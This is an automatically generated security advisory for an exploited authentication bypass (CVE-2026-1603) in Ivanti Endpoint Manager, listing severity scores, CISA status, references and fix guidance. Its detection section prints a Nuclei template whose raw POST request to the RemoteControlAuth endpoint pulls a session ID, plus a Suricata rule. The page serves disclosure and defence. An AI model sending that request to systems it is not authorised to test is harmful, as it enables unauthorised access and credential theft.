CVE-2026-1603: Ivanti exploited

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

An authentication bypass in Ivanti Endpoint Manager before version 2024 SU5 allows a remote unauthenticated attacker to leak specific stored credential data.

Description quoted from the CVE record (assigned by ivanti, published 2026-02-10).

Weakness: CWE-288: Authentication Bypass Using an Alternate Path or Channel

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity none, availability none. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since: 2026-03-09
US federal deadline: 2026-03-23
Ransomware use: Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2026-01795, CNVD-2026-39105, EUVD-2026-6842, GHSA-2j3g-j6qj-x9q2, ZDI-26-080

VEDAS cluster: VEDAS:FLUTTERFANG

Exploit Observer links 6 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (6)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (1)

Research or write-up: https://www.zerodayinitiative.com/advisories/ZDI-26-080

Vulnerability databases and vendor advisories (5)

Catalogue entries, not exploit evidence.

Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2026-6842
Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-2j3g-j6qj-x9q2
Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-1603
Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-1603
Vulnerability database or vendor advisory: https://www.cnvd.org.cn/flaw/show/CNVD-2026-39105

6 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS: 0.883
very likely to be attacked soon
VEDAS: 0.979
strong exploit evidence
On CISA KEV: Yes, since 2026-03-09
Detection rule: Nuclei · Suricata

EPSS (chance of attack)

VEDAS (exploit evidence)

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

Who is affected

Product	Affected	Not affected
Ivanti Endpoint Manager	Not stated	2024 SU5 is not affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: ivanti endpoint_manager, ivanti ivanti_endpoint_manager.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Ivanti Endpoint Manager - Authentication Bypass
An authentication bypass in Ivanti Endpoint Manager before version 2024 SU5 allows a remote unauthenticated attacker to leak specific stored credential data.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /RemoteControlAuth/api/Auth); it decides using json, status, word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2026-1603.yaml

Show the template (55 lines)

yaml

id: CVE-2026-1603

info:
  name: "Ivanti Endpoint Manager - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: high
  description: |
    An authentication bypass in Ivanti Endpoint Manager before version 2024 SU5 allows a remote unauthenticated
    attacker to leak specific stored credential data.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-1603&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=ivanti&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-1603
    cwe-id: CWE-288
  metadata:
    verified: false
  tags: cve,cve2026,auth,ivanti,epmm,authbypass,vkev,kev
http:
  - raw:
      - |
        POST /RemoteControlAuth/api/Auth HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
            "logintype":"64",
            "username":"administrator"
        }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"sessionid":'

      - type: word
        part: body
        words:
          - '"sessionid": null'
        negative: true

      - type: status
        status:
          - 200

    extractors:
      - type: json
        part: body
        name: sessionid
        json:
          - '.sessionid'

CVE-2026-1603.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-1603 Ivanti Endpoint Manager - Authentication Bypass. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-1603 Ivanti Endpoint Manager - Authentication Bypass"; flow:established,to_server; http.uri; content:"/RemoteControlAuth/api/Auth"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-1603; reference:url,https://www.exploit.observer/?keyword=CVE-2026-1603&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=ivanti&match=exact; sid:1010138; rev:1;)

CVE-2026-1603.rules on GitHub

References

Government sources

https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-1603 (government-resource)

Other references

https://hub.ivanti.com/s/article/Security-Advisory-EPM-February-2026-for-EPM-2024?language=en_US

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.